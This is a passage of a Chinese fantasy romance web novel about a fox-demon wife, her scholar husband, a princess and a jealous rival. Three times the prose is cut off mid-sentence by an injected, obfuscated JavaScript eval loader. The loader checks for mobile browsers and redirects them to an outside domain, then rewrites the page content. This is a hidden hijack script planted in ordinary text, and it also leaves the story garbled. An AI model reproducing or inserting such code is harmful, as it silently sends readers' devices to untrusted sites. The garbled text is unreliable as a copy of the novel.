对方的目光中,并不像其他人一样,带着羡慕或谄媚或嫉妒,只是偶尔淡淡的从他的身上扫过,毫无波澜。 甚至于让他莫名感觉,自己在对方的眼里,就和在场的任何一个人,甚至于和一棵树、一块石头、一把椅子一样毫无区别。 这个发现,让陆长轩隐隐有些不快。 这时候,胡翘翘在陈子均的衣服中有些气闷,便钻了出来,在他怀里寻了个舒服的位置,懒洋洋地窝着。 陆长轩被这只突然出现的小白狐吸引了注意,眼中闪过一抹讶异。 好漂亮的白狐! 皮毛蓬松如雪,更没有一根杂毛,堪称完美无瑕。 陆长轩忽地想起,上次见面时,郡主曾在无意中提到,她想要找几块上好的皮毛做围脖,只是寻了很久,也没见到满意的。 郡主对他青眼有加,待他不薄,送了这样一辆华贵的马车给他,尽管郡主身份尊贵,对她来说,一辆马车并不算什么,但她不在意,他岂能觉得理所当然,毫无回报? 若是让郡主觉得自己不知感恩,心中难免会生出罅隙,这样一来,将来自己还怎么攀得住那位金枝玉叶? 眼前这只狐狸,或许便是良机。 若是自己将它买下,剥皮制成围脖献给郡主,她定会十分欢喜。 这样一来,自己也算是略有回报了…… 陆长轩便直接走到了陈子均的面前,视线落在他怀中的小白狐上,微微一笑,“这位朋友,你的这只白狐,品相着实不错,我十分喜爱……”他从袖中掏出一锭银子,约莫有十来两重,“不知可愿割爱?” 那小白狐仿佛听懂了陆长轩的话,炸起白毛,冲他龇出利齿,喉咙里也发出威胁似的“呜呜”声。 陈子均则是微微一笑,语气波澜不惊,“抱歉,在下并非缺钱之人。” “哦?看来兄台也是个爱狐之人。”陆文轩也不恼,依旧保持着风度翩翩的笑容,又从袖中抽出一张银票,压在那锭银子上,不紧不慢地道,“既然如此,我再加一百两,可否?” 周围顿时响起一阵低低的惊呼,一百多两银子,都够在长陵城买下一处小院了,居然只是买一只白狐? 这白狐虽然看着灵气逼人,但也绝对不值这个价! “陆公子出手真是阔绰啊……” “一百两银子买一只狐狸,怕不是钱多了烧得慌……” 各种议论声传入耳中,陈子均却恍若未闻,只慢条斯理地掀起眼皮,淡淡扫了陆长轩一眼,嘴角勾起一抹嘲讽的弧度。 “你的一条命,都不值她的一根毛。” 怀中的小白狐顿时恢复乖巧,在他胸口亲昵地蹭了蹭,发出一声娇憨的“嘤咛”,毛茸茸的尾巴轻轻扫过他的脸颊,像是在回应,又像是在撒娇。 陆文轩脸上的笑容终于淡了下来,自从几年前他在县试中获得头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893005|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,又得了主考官“长陵城此代青年俊彦之首”的赞誉后,他走到哪里都是众星捧月,人人对他都是客客气气,就连高贵的郡主也仰慕他的才名,何曾听到过如此不客气的话? “或许,在足下的眼里,陆某并非是什么了不得的人物,只是浪得虚名而已,不值得足下如何客气,陆某倒也能理解……”他勉强笑了笑,又皱了一下眉:“不过,足下将我同一只牲畜相提并论,甚至……如此贬低,会不会有些太过分了?” “我只是实话实说,很过分么?”陈子均笑了一下,“那你要如何?” “……” 陆文轩顿时语塞。 是啊,总不能自己跳起脚反驳,自己绝对比得上那白狐一根毛,甚至十根毛,百根毛! 先不论,这话由他说出口,会不会太过荒谬滑稽。 也不提此处是考场门口,人多眼杂,若是闹出什么事端,可是会影响到考试。 更重要的是,自己是何等身份?倘若他因为这句话,就和一个无名小卒计较不已,到时候传扬出去,他人的议论重点,绝不会是对方挑衅在先,反而会说自己气量狭小,落了下乘。 若是再传入郡主耳中,还不知会被添油加醋成什么样子,说不定就成了他仗势欺人,想要强买别人的白狐,对方不肯,自己恼羞成怒。 到时候,别说留下好印象了,恐怕还会惹来郡主厌恶。 想到这里,陆长轩强行压下了胸中的那口气。 罢了,忍一时风平浪静,犯不着为了这种人生气。 区区一只白狐,将来自己再寻更好的送给郡主就是。 不过,此人…… 陆长轩眸子略带阴冷地打量了陈子均一眼,他 第136章 颜控郡主 那圆脸少女一路小跑过来,身后有一群气喘吁吁的随从,边费力追赶边喊着,“郡主,您慢点儿,小心摔着!” 胡翘翘好奇地睁大眼睛,看着这个突然出现的少女。 许曼知道她不认识对方,忙低声解释道:“她是长陵郡主。” 郡主? 那是什么? 胡翘翘心中嘀咕。 许曼和石珊珊见她听到“郡主”两字,却毫无反应,甚至连一丝惊讶都没露出,心中又是暗叹。 虽说这位长陵郡主并非修士,但作为皇室,身份自然比凡人尊贵得多,即便是她们,遇见对方,也需客气几分。 但在前辈眼中,这所谓的皇室权贵,估计也不值一提,是以此刻依旧无波无澜,稳坐如山,没有半分想要起身行礼的意思。 “哟,郡主今怎么到这儿来了?”石珊珊笑盈盈地招呼着。 “闲着没事,听说你们在招新弟子了,来看看热闹呀。”长陵郡主说完,目光落在了胡翘翘身上。 因为方才在吃东西,胡翘翘将面纱取了下来。 在阳光下,她的肌肤越发白如透明,桃花眼水润迷人,红唇娇艳欲滴,仿佛春日里含苞待放的花蕾。 许是因为修炼了太阴星力的缘故,如今的小狐妖,身上带着一股温润灵动的气质,却又在不经意间流露出几分勾人心魄的妩媚,两种截然不同的气质在她身上完美融合,更令人移不开眼。 长陵郡主一愣之后,双眼顿时亮了起来。 好、好漂亮! “这位姐姐长得可真好看啊!”她惊叹一声,立马提着裙摆小跑过去,仿若多年未见的好友一般,拉住胡翘翘的手,亲亲热热地问道,“姐姐,你是哪个宗门的弟子?以前住在长陵城么?本郡主怎么从未见过你?” 胡翘翘被她这突如其来的热情弄得有些手足无措,下意识用力将手抽回。 长陵郡主猝不及防,被她这么一甩,身形一个踉跄,险些跌坐在地,幸好被身后的一名女长随扶住。 同时,另一名随从脸色一变,厉声呵斥道:“大胆!竟敢对郡主无礼!” 胡翘翘这才意识到,眼前这个似是有些自来熟的少女,并不是什么厉害的修士,只是一个柔弱的凡人。 她顿时有些不好意思,连忙道,“抱歉,是我太用力了,你没事吧?“ “没事没事,我好着呢!”长陵郡主毫不在意地摆摆手,露出一个甜笑,接着扭头,原本灿烂的笑容瞬间消失,柳眉倒竖,气鼓鼓地瞪着方才那名出言呵斥的随从,“你凶什么凶?!怎么能对这么漂亮的姐姐大喊大叫,如此粗鲁无礼,简直气死我啦!还不快向人家赔礼道歉!” 那随从对自家郡主的脾气早有预料,当即认命地叹了口气,朝胡翘翘行了一礼,大声道,“这位仙师,是在下莽撞了,还请仙师不要见怪。” 长陵郡主看着胡翘翘,满脸歉意地说:“姐姐,他是个粗人,不懂礼数,你要是觉得这道歉不够,我再打他一顿,给你出气!” 胡翘翘却只是有些莫名其妙地看着长陵郡主,茫然问道:“你为什么要让他给我道歉?还要打他?他又没有做错什么事。” 长陵郡主见她天真烂漫的模样,心中愈发喜欢,笑盈盈地看着她:“因为姐姐长得这么好看,谁也不能凶你!对了,姐姐你叫什么名字?是哪个宗门的弟子呀?” “我姓胡,不是哪个宗门的弟子……” “哦,我知道了,胡姐姐是散修,对吧?” “……嗯。” 长陵郡主又从手腕上褪下一只玉镯,不由分说地塞到了她手中。 “姐姐,初次见面,我也没什么好送你的,这个镯子就当做见面礼吧。” 这是个玉镯,通体碧绿,却又剔透分明,在阳光下绿汪汪的,水头极好。 见状,随从们一个个都快要哭出来了。 这镯子可是郡主十六岁生日时,皇帝陛下特地赐下的礼物,价值连城,结果自家郡主直接就想也没想的送人了。 但他们也深知自家郡主的脾气,一见到长得漂亮的人,就会心生好感,出手也格外大方。 就比如那个名叫陆长轩的家伙,因为生得颇为英俊,第一次见面,郡主便送了一辆豪华马车给他。 但眼前这位仙女般的女修,和那陆长轩比起来,又是一个天上一个地下,简直给她提鞋都不配! 正因此,对自家郡主来说,只要能和这么漂亮的女修结识,别说一个玉镯子了,就是十个二十个,她也能眼皮都不眨一下地送出去! 不过,胡翘翘可分不出玉的好坏,见对方的态度随意,想着这镯子多半不值钱,刚要收下,她又想起相公平时总是和她说,不能随便收别人的礼物。 于是,她摇了摇头,将镯子还过去。 “谢谢你,不用了。” “哎,姐姐别客气,一个镯子而已,本郡主多的是!” “真的不用了。” “你不收,便是瞧不起我!” “……” 而后,长陵郡主不由分说地将玉镯套在了胡翘翘的手腕上,然后,大声赞叹道,“哇,真好看!” 胡翘翘低头看了 眼,果然,那碧绿的镯子衬得她的手腕愈发皓白如雪,心中也很喜欢,当即点点头,“好吧,谢谢你。” 长陵郡主见她收下,顿时心花怒放,拉着胡翘翘的手不肯放开,同时叽叽喳喳地问东问西。 胡翘翘被她的架势弄得有些招架不住,悄悄向许曼和石珊珊投去了求救的目光。 许曼和石珊珊会过意来。 前辈性子淡漠,不喜与人打太多交道,但长陵郡主又太过热情,再让她说下去,只怕会惹得前辈不喜。 “哎呀,胡道友,我才想起来,刚才我姑祖母说,找你有事儿!” 石珊珊开口,然后,拉着胡翘翘便飞,“赶紧,我带你去找她!” 好不容易离那个长陵郡主远远的了,胡翘翘才长舒一口气。 “呼,这位郡主也太……” “那是因为胡道友你长得太漂亮啦。”石珊珊笑了,“长陵郡主她啊,一见到漂亮的人或东西,就会变成这样。“ “啊?”胡翘翘眨眨眼,还有这样的人么? “没错,这长陵郡主,最喜欢生得漂亮的人或事物了。”许曼也飞了过来,说道,“几年前,她曾救过一只受了伤的狐狸,后来我们发现它竟是只狐妖,想要将它抓起来,郡主却因为它生得好看,死活不许我们动手,后来趁我们没注意之时,偷偷将它送走了。” 胡翘翘一怔,“狐妖?” “对呀,它自称胡楚楚,来自涂山。” 胡翘翘的心中忽然涌起一股异样的感觉,仿佛曾在哪儿听过“胡楚楚”这个名字。 只是,她又想不起来对方长什么模样,又是在什么地方听过。 “那只狐妖……长什么样子?”她忍不住问道,“现在又在哪儿?” “我们也没见过她的人形,”许曼摇摇头,“至于她后来去哪了,我们也不清楚。” …… …… 秋风萧瑟,落叶纷纷,三年一度的乡试终于落下帷幕。 大批考生们自贡院鱼贯而出,脸上神情各异,有人欢喜有人愁。 陈子均背着书箱,缓缓走出考场,依旧是那副波澜不惊的模样。 “啾——” 一只雪白的小家伙突然从角落里窜出,灵巧地跳上了他的肩膀,毛茸茸的尾巴在他眼前晃来晃去。 “等很久了么?”陈子均嘴角勾起一抹宠溺的笑意,伸手轻轻挠了挠小白狐的下巴。 小白狐舒服地眯起了眼睛,喉咙里发出呼噜噜的声音。 与此同时,不远处。 长陵郡主掀开马车的车帘,从马车中探出半个身子,看着走过来的陆长轩,笑着问道。 “陆公子,考得如何?” 她声音如银铃般清脆,其中还带着一丝关心,引得不少考生频频侧目,心中暗暗羡慕。 “天哪!那不是长陵郡主吗?她竟然亲自来接陆长轩?” “谁让人家长得一表人才,又会读书呢?” “哎,真是平步青云了。” “我若是能得郡主这般垂青,便是少活十年也甘愿啊!” 陆长轩显然也没想到长陵郡主会亲自来接他,而且还当众询问他的考试情况,一时之间,竟有些受宠若惊,慌乱地整理了一下衣襟,才上前行礼道:“托郡主的福,在下感觉这次考得还不错。” “嗯,陆公子果然是人中龙凤,这次乡试肯定能高中!”长陵郡主开心地笑了起来,“可惜,本郡主过几日要去京城,等本郡主从京城回来,再亲自设宴款待于你!” 闻言,陆长轩心中狂喜,几乎要抑制不住嘴角的笑意,能得长陵郡主如此青睐,他高中后的仕途只怕会一路坦荡。 但还是故作矜持地拱手道,“郡主盛情,在下却之不恭,先祝郡主一路顺风。” “咦?”长陵郡主忽然发出一声轻呼,目光越过陆长轩,落在了他身后不远处。 陆长轩下意识地顺着她的目光看去,而后,他看见一个书生正背对着他们,肩上蹲着一只雪白的小狐狸。 “好可爱的白狐啊……”长陵郡主心生喜爱,又联想起了几年前救下的那只狐妖,似乎也是这样浑身雪白,可爱之极,她眼睛发亮,“不知道我能不能买把它下来?” 陆长轩一眼便认出了那只狐狸,又想起几天之前的事,心中顿时腾起一股无名怒火。 他眯起眸子,计上心头。 “郡主,那只白狐确实漂亮,而且极通灵性,”他说完,又叹了口气,“其实前几日,在下就见过它,觉得郡主一定会喜欢,所以想买下来献给郡主……” 说到此处,他停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893006|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来,观察着长陵郡主的反应。 长陵郡主果然好奇心大起,问道:“哦?怎么?他不肯卖?” 陆长轩点点头,“没错,在下甚至开出了一百两银子的天价!他却还是不肯。” 长陵郡主想也没想,一脸豪气地道:“无妨,他一百两不肯卖,本郡主出一千两便是。” “一千两,恐怕也未必能行,”陆长轩摇头道,“当时我告诉他,我是想买来送给郡主做礼物的,不料这书生却开口说……” 他故意拉长了尾音。 “他说什么?”长陵 郡主果然追问。 “他说,在他的眼里,郡主你这条命,都比不上这只狐狸的一根毛!” “大胆!”长陵郡主身旁的侍女听不下去了,怒斥道,“这书生好生无礼,竟敢如此轻慢郡主!” 陆长轩咬牙,一脸愤恨地附和,“是啊,他若是侮辱在下,也就罢了,可他竟然敢对郡主不敬,郡主这等金枝玉叶,他怎么敢……当时我就恨不得和他拼命,只是乡试在即,才不得不忍了下来。” 他声音哽咽了:“是我的错,怕耽误了乡试,所以没能第一时间为郡主出气,让那人口出狂言,郡主,你若是生气,便惩罚我吧!” 长陵郡主原本只是觉得那白狐可爱,想从主人的手中买下,听陆长轩这么一说,顿时怒火中烧。 她堂堂郡主,何曾受过这等轻视? “放肆!”长陵郡主猛地站起身,怒斥道,“本郡主倒要看看,是谁吃了熊心豹子胆,敢如此大胆,对本郡主胡言乱语!” 她说完,便直接跳下马车,气势汹汹地朝着陈子均走去。 两名随从连忙跟在了她的身后。 陆长轩的嘴角勾起了一抹若有似无的弧度,也跟了上去。 走到陈子均的身后,长陵郡主怒冲冲地开口,“喂,你这书生,竟敢对本郡主出言不逊,是不想活……” 陈子均转过身来,正好对上长陵郡主那双充满怒火的眸子。 长陵郡主话音未落,却突然愣住了,一双美目直勾勾地盯着陈子均,所有怒火瞬间烟消云散。 “好……好俊的书生……” 她站在那里,只觉得脸颊发烫,胸膛里有只小鹿在乱撞,直接将未说完的话忘到了九霄云外。 “郡主,您怎么了?”陆长轩见长陵郡主突然不说话了,有些不解,连忙走过来,指着陈子均道,“那日就是他,不识好歹不说,还开口侮辱郡主……” “住嘴!”长陵郡主终于回过神来,扭过头,瞪了陆长轩一眼,目光厌恶与冷漠,“哼,八成是你仗着我的名字,想要强抢人家的宠物!你再敢胡说八道,小心本郡主撕烂你的嘴!” 陆长轩顿时愣在原地,满脸错愕。 “啊?” 长陵郡主不再理他,而是转眸看向陈子均,圆脸微红,小声道:“那个,书生……请问……” 一直安静窝在陈子均怀里的白狐忽然抬起头,冲着她轻轻“呜呜”叫了两声。 紧接着,平地刮起一阵狂风,飞沙走石,天昏地暗。 “啊!”长陵郡主惊呼一声,下意识地闭上眼睛。 狂风来得快,去得也快。 等到风沙散去,她睁开眼,却发现原本站在面前的陈子均和小白狐已经不见了踪影。 “咦,那书生人呢?去哪儿了?”长陵郡主揉着眼睛,四下张望,“难道已经走了?” “郡主,您没事吧?”陆长轩关切问道。 长陵郡主却没有理他,依旧不死心地四处寻找着,可惜始终一无所获。 “奇怪,怎么就不见了呢……”她喃喃自语道,语气中充满了失望。 那书生容颜俊美,气质清冷,实在令人心生好感,她本想借此机会结交一番,可谁知竟会是这样的结果。 想到前几日,在城外遇到的那个自称“胡姐姐”的绝美女子也是这般,不过匆匆几句话,便消失得无影无踪,长陵郡主心中更是郁闷。 唉,好不容易碰到一两个如此令人惊艳的人物,结果都失之交臂。 也不知道以后还有没有机会碰见对方…… 真可惜…… 长陵郡主越想越气闷,狠狠地瞪了一眼陆长轩,再也不理会他,径自登上马车,吩咐车夫回府。 不远处的街角处,胡翘翘探出小脑袋,乌溜溜的眼珠子望着远去的马车,直到马车彻底不见,才轻轻呼出了一口气。 虽说她对那个郡主,也没什么反感啦…… 但相公是她一个人的,才不许别人打主意呢! 哪怕、哪怕就只有一点点,也不行! 陈子均哪会不知道她的小心思,忍着笑,大手揉了几下它的脑袋。 真是个小醋狐狸。 小白狐扭头看着他,喜滋滋道:“相公,我们赶紧回去吧!翘翘有好多好多话,想和你说呢!” 第137章 秦人燕赤霞 回到小宅,一进大门,小白狐便从陈子均的怀中跳了下来,落地的瞬间,变回了胡翘翘。 她围着陈子均来回转了几圈,仔细地打量着他。 “相公,你瘦啦!”她站住,伸出白嫩嫩的小手,轻轻摸着陈子均的脸颊,小脸上满是心疼,“你看,肉都快没了,唉,一定是考试太辛苦了!” 陈子均笑了:“傻丫头,考几天试而已,哪里就瘦了。” “怎么不会?”小狐狸哼了一声,鼓着腮帮子反驳,“这几天你肯定是吃也吃不好,睡也睡不香,还要强打精神考试,想想都很辛苦……相公现在一定饿坏了吧?我们赶紧去吃晚饭。” 饭厅内。 胡翘翘点亮灯烛之后,拿了碗筷,而后,再从储物袋里掏出几个热气腾腾的食盒,一个个地摆放在餐桌上。 “还好,翘翘早就给准备好了饭菜,都是相公最爱吃的。“ 她一边说着,一边麻利地揭开食盒的盖子,有东坡羹、蒸羊肉、鱼蓉粟米羹……香气瞬间在饭厅里弥漫开来, 陈子均看着她忙碌的身影,嘴角不自觉地勾起一抹笑意。 “好了,相公赶紧坐,吃饭啦~”胡翘翘拉着陈子均的手,将他按在椅子上坐下,然后拿起筷子,不停地往他的碗中夹菜。 不多时,陈子均的碗便堆得像小山一样高。 “我自己来就好。”陈子均的心中涌起一股暖流,伸手揉了揉胡翘翘的脑袋,“你也吃,别光顾着我。” “嗯嗯。”胡翘翘也拿起筷子,吃了起来。 一边吃饭,胡翘翘一边叽叽喳喳地跟陈子均说着她这几天做的事儿,从她路过茶馆听到说书先生讲的故事,到差点撞到一个凶巴巴的大婶,再到她今日,当然,这几天她对相公如滔滔江水连绵不绝的思念之情,那是需要着重再着重的强调的。 陈子均含笑听着,偶尔应和几句,眉眼间尽是温柔。 自然,也讲到了她去看三宗选拔弟子、又结识了那个长陵郡主之事。 说到这儿,胡翘翘小心翼翼地觑着陈子均,“相公,你以后碰到那个长陵郡主,尽量离她远一点,也不要搭理她,好不好?” 陈子均疑惑地看着她,“为何?难道她是什么大凶大恶的人?” ”也不是啦,她这个人好像并不坏……“胡翘翘抿了抿唇,“但是,她一看到长得好看的人,就特别热情……我、我……” 陈子均:“……你觉得我会被她抢走?” 胡翘翘立刻把小脑袋摇得像拨浪鼓,“怎么可能!” 她自然是对相公坚信不疑的。 “可是,我就是不开心嘛……”她又垂下眼皮,盯着碗里的米饭,小声道,“相公,我不想让你接近任何可能对你有非分之想的人……是不是太小气了?” 陈子均忍着笑,揉了一下她的头顶,“这样都要吃醋的话,你这辈子估计得有吃不完的醋了。” “可是,翘翘只希望你是我一个人的相公……”她幽幽地叹了口气,“哎,相公长得太好看,也是苦恼呀!” 夫妻俩说说笑笑着,吃完了饭。 接着,胡翘翘让陈子均去歇息,她先收拾碗筷,再去准备洗澡水。 原本陈子均打算直接回房,但路过书房时,他目光一扫,无意中瞥到桌上摆着一叠纸,便走了进去。 走到桌边,陈子均拿起纸,随手翻开,每一张上面都写满了密密麻麻的字。 只是这些字一笔一划都十分拙劣,好似出自稚童之手,其中还夹杂着许多圆圈,以及涂抹和修改的痕迹,看得出来写的时候十分用心,但也十分笨拙。 很显然,这些是胡翘翘的作品。 陈子均几乎能想象出胡翘翘趴在桌子上,大眼睛紧盯着纸面,手握毛笔,一笔一划认真写字的模样。 他心头一软,嘴角忍不住微微上扬,继续往下看去。 “从前,有一个美丽……” 嗯,后面是个圆圈,不过联系后文,应该是个“善良”的善字。 “善良的小狐妖,她爱上了一个英俊潇洒,心地善良的书生……” 看到这里,陈子均哪还猜不出这是怎么一回事? 这分明是自家娘子写的话本子! 他强忍着笑意,继续往下看去, 只见话本子里的内容越来越天马行空,什么“霸道狐妖强势索吻”、“俊美书生床榻失守”之类的少儿不宜的情节。 还有什么“一夜春宵,鱼水之欢,自不必细说……”,“那小狐妖,娇羞无限,媚眼如丝,看得那书生,心猿意马,恨不得将她一口吞入腹中……”的香艳描写。 陈子均终于没忍住,笑出了声。 这都什么乱七八糟的,小傻子是从哪学来的? “相公,水已经准备好了,你快去洗……” 胡翘翘的话还没说完,她就看到了陈子均手中的那叠纸,以及他脸上那压抑不住的笑意,顿时,“腾”地一下,整张脸红得像煮熟的虾子。 天哪!太丢脸了! 她怎么就忘了把它收起来呢?! “相公,你、你别看……”胡翘翘羞得恨不得找个地缝钻进去,她扑到陈子均的身上,伸 手去抢夺那叠纸。 陈子均眼疾手快地躲开,一下将纸全塞进了袖子里,笑着说:“娘子这是写的什么?我怎么好像看到了些不得了的东西?“ “相公,你还给我!” 胡翘翘羞愤欲死,急得跳脚,突然不小心绊到了一旁的椅子,惊呼一声,眼看着就要摔倒在地。 “啊!” 她惊呼一声,接着被陈子均一把抱住了。 胡翘翘松了口气,然后却不敢看他,只是将脸埋在他怀里,撒娇道,“相公,还给我啦!” “娘子这是害羞了?”陈子均看着她,笑问。 “才、才没有!”胡翘翘死鸭子嘴硬, “写就写吧,也没什么大不了的,娘子何必如此紧张。” “这、这是人家的隐私,相公怎么能随便看?” 陈子均挑了下眉:“娘子在我这里还有隐私啊?你身上最隐私的地方,我不都看过了么?” 这话一出,胡翘翘只觉得自己整个人都要烧了起来,直接将整张脸都埋进了他的怀里。 相公、相公怎么能用这么随意的语气,说、说出这样的话…… “……” “而且,你把我们的事情写进话本子里,却不让我看?”陈子均看着她笑,“这有点不太公平吧?” 胡翘翘咽了下口水:“我、我不是不给相公看,我是担心相公看了以后会觉得……”说到这里,脸更红了几分。 陈子均问,“会觉得什么?” 她红着脸,过了会儿,才细声细气地憋出了后面几个字。 “怕相公会觉得……我太不害臊……” 陈子均笑了,“在我这里,娘子尽管不害臊好了,我觉得这样的娘子十分可爱。” 胡翘翘心中一甜,伸出手抱着他的腰,将小脸轻蹭着说:“真的吗?” 而后,她又听到陈子均清了清嗓子,一声轻笑:“不过,一夜春宵,鱼水之欢,自不必细说……我对这“不必细说”的内容很感兴趣,不如娘子细细说给我听听?” “啊,不要念。”胡翘翘急忙一把捂住陈子均的嘴,红着小脸说,“给你看可以,不要念出来,否则……否则……” “否则什么?” “唔……”胡翘翘心中一动,抬头吻上了他的唇,“否则,翘翘就亲你,亲到你没法念为止。” 陈子均先是一愣,随即反应过来,用手摁住了她的后脑,回应着这个亲吻…… 这一个缠绵的吻结束时,她小脸上的羞窘已经转变成了欲醉的酡红,仿若像春日里盛开的桃花,娇艳欲滴。 轻轻地推了推陈子均的胸膛,声音娇软得像蜜糖:“相公,你快去洗澡吧……” 陈子均低笑一声,“好吧,等洗完澡再说。” …… 夜色渐深。 陈子均洗完澡出来,看胡翘翘已经躺在了床上。 她的身上只穿着一件薄薄的寝衣,乌黑的长发如瀑布般倾泻而下,衬得肌肤胜雪。烛光摇曳,映照着她羞红的双颊,眼波流转间,满是温柔缱绻。 “相公,快来睡吧。”她拍了拍身边的位置,柔声说道。 陈子均在她身边躺下,将她搂进了怀中。 一股好闻的皂荚香钻入胡翘翘的鼻尖,她忍不住咽了咽口水,脸颊又开始发烫。 但她没有任何的举动,只是规规矩矩地靠在他的胸口,然后闭上了眼。 陈子均有些疑惑了。 先前胡翘翘为了早日与他行周公之礼,可是想尽办法地“诱惑”他,如今他乡试结束,这丫头反倒安静下来了? 莫不是在憋什么坏主意? 也不对,这小狐狸一向藏不住话,若真有什么鬼主意,只怕早就写在脸上了。 “翘翘,睡着了么?”陈子均轻声开口。 “还没有呀……”胡翘翘闭着眼,软糯糯地应了一声,“怎么了,相公?” 陈子均抬起手,用手指轻轻摩挲着她的脸颊,入手之处滑腻柔软,“你是不是忘了什么?” “什、什么忘记什么……”她仍旧闭着眼,声音迷茫,只是两把小扇子般的长睫毛在轻轻颤动,似乎有些心虚。 “要我提醒你吗……”陈子均忍不住低下头,轻轻咬了一下她的耳垂。 “啊!”胡翘翘惊呼一声,睁开眼睛,白皙的脸颊上泛起一抹动人的粉红,“相公,你、你干什么……” 她伸出小手想要推开陈子均,却被陈子均一把握住,拉到面前。 而后,他将她的手握在掌心轻轻摩挲,似笑非笑地说,“我只是想帮娘子回忆一下,之前答应过你的事情。” “相公,我、我没忘……”胡翘翘小声说。 “那是为何,是娘子还没准备好么?” 陈子均说着,手掌又覆上了她纤细的腰肢。 胡翘翘只觉得被他触碰的地方像是着了火一般,酥酥麻麻的感觉直达心底。 “不,不是,”她咬着下唇,轻轻说道,“我只是觉得……” “觉得什么?” 她抬眸看着他,语气中带着几分心疼,“相公乡试辛苦了,应该好好休息一晚才是……” 陈子均愣了一下,随 即心中涌起一股暖流,“原来是这样,娘子真是体贴。” “那是当然了,”胡翘翘在他脸上亲了一口,甜甜地道,“相公的身体才是第一位的,其它的事情来日方长,不急在这一时。。” 陈子均起了逗弄她的心思,“既然这样,不如再推迟些日子,让我好好休息休息?” 胡翘翘一愣,问:“那相公想休息到什么时候?” “等到会试结束,怎么样?” “会试结束?会试是什么时候?” “明年二月。” “明年……二月?!”小狐狸立即瞪大了眼,气鼓鼓地说,“不行!这也太久了!” 陈子均忍着笑,“那你说休息多久?” “三天……不,两天……”胡翘翘的心里疯狂挣扎,又摇着脑袋,“依我看,还是一天吧,休息明天一天便差不多了。” 陈子均:“啊,才一天?” 胡翘翘迟疑了下,勉为其难地松了口:“那……要不两天?” “两天?” “对,最多两天。”小狐狸斩钉截铁地点头,“两天之后,相公就得和我履行夫妻之实!” 陈子均忍不住笑了出来:“好好好,都依娘子。” 胡翘翘顿时眉开眼笑,一把抱住陈子均的胳膊,撒娇道:“相公说话算话!” “嗯,说话算话。” “那现在,我们好好休息!” …… …… 一夜好梦,陈子均只觉得神清气爽,他睁开眼,怀中温香软玉,胡翘翘正睡得香甜,几缕青丝调皮地搭在他的胸前,白皙的脸蛋上还带着一抹淡淡的红晕。 他忍不住低下头,在她额头上轻轻一吻。 胡翘翘迷迷糊糊地睁开眼,看到是他,嘴角便弯起一抹甜蜜的笑容。 “相公,早安。” 软糯糯的声音带着刚睡醒的娇憨,听得人心头一荡。 “嗯,娘子早。”陈子均笑着应了一声,伸手将她搂紧了些。 胡翘翘又伸出手,环住陈子均的脖子,在他唇上蜻蜓点水般地亲了一下,然后笑嘻嘻地说:“相公,昨晚睡得怎么样?” “很好。”陈子均说,眼中满是笑意。 她眨眨眼,带着一丝狡黠问道:“所以,明天我们应该可以……” 陈子均自然知道她要说的是什么,忍不住笑了,“是是是,可以。” 胡翘翘这才心满意足地笑了,又往他怀里钻了钻,找了个舒服的姿势窝着,又闭上眼,叹了口气,“唉,怎么才是早上呀,我突然觉得时间过得好慢啊!要是现在就是天黑该多好,一睁眼,就又是第二天了。” 两人在床上腻乎了半天,才慢吞吞地起了床。 早饭后,胡翘翘在修炼,陈子均则是去了花园。 只见那株造化玉莲已经完全绽放,花瓣洁白如玉,共有十八片,每一片都散发着淡淡的白光,显得圣洁而美丽。 造化玉莲每九片莲瓣为一品,也即是说,它如今已经到了二品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893007|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息壤里的灵气已经快要耗光,陈子均便将从五通妖那里得来的一小部分信仰之力“喂”给了息壤,用来继续催生造化玉莲。 然后,他在心中算了一下。 “按照这个速度,一个月以后,差不多能到三品……” 希望如他所想一样,能有用吧。 …… …… 暖阳轻洒,微风拂过,扬起几片枯叶。 这里一片荒凉,几无人烟,唯有一僧一童缓步走着,显得格外突兀。 那僧人身披红色袈裟,手持禅杖,面容冷峻,正是法海,而蹦蹦跳跳地跟在他身后,一路东张西望的,则是个身着红衣,粉雕玉琢的小女孩——玉珠儿。 “和尚,这儿又没坏人,没好吃的,没妖怪给你捉,也没人能让你化缘,你来这里做什么?”玉珠儿好奇地问。 “贫僧来此,既不是为了化缘,也不是为了捉妖,”法海的声音平静无波,却带着一丝不易察觉的怀念,“只是来拜访一位故友。” “故友?和尚你居然还有朋友?”玉珠儿的眼睛瞪得更大了,像是听到了什么不可思议的事情,上下打量着法海,“我还以为你每天除了念经打坐,六根清净,四大皆空,就是想着怎么收妖呢!” “……”法海无奈,“玉施主,贫僧虽是出家人,却也是凡胎肉身,自然也有自己的过去和朋友的。” “和尚的朋友,莫非是尼姑?” 